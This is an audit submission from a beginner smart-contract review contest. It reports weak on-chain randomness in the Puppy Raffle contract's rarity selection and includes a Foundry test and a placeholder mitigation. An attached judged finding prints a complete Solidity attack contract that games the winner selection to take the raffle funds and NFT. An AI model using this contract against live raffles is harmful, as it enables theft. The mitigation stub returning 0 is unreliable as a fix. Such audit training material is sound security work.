Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Weak randomness for rarity selection enables predictable or biased NFT rarity

0xsnoweth

Root + Impact

Description

  • selectWinner() mints an NFT and assigns a rarity tier based on a computed rarity value.

  • rarity is derived from keccak256(abi.encodePacked(msg.sender, block.difficulty)), which is predictable/biasable and allows the caller and block producer to influence rarity outcomes.

// We use a different RNG calculate from the winnerIndex to determine rarity
// @> Weak entropy sources for rarity
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Risk

Likelihood:

  • The caller repeatedly triggers selectWinner() from chosen addresses to influence the hash input.

  • A block producer selects a favorable block.difficulty context on blocks containing selectWinner().

Impact:

  • Rarity outcomes can be biased toward higher tiers, reducing scarcity guarantees.

  • NFT distribution becomes unfair and economically exploitable.

Proof of Concept

PoC — Vary caller across runs to observe different rarity values on a local chain.

function test_rarityDependsOnCaller() public {
vm.warp(block.timestamp + raffleDuration + 1);
​
vm.prank(address(0x1111));
raffle.selectWinner();
​
vm.roll(block.number + 1);
vm.prank(address(0x2222));
raffle.selectWinner();
}

Recommended Mitigation

Mitigation — Derive rarity from the same secure randomness source used for winner selection.

-uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
+uint256 rarity = _getSecureRarity();
​
+function _getSecureRarity() internal view returns (uint256) {
+ // TODO: use VRF/commit-reveal output as entropy; placeholder to illustrate intent
+ return 0;
+}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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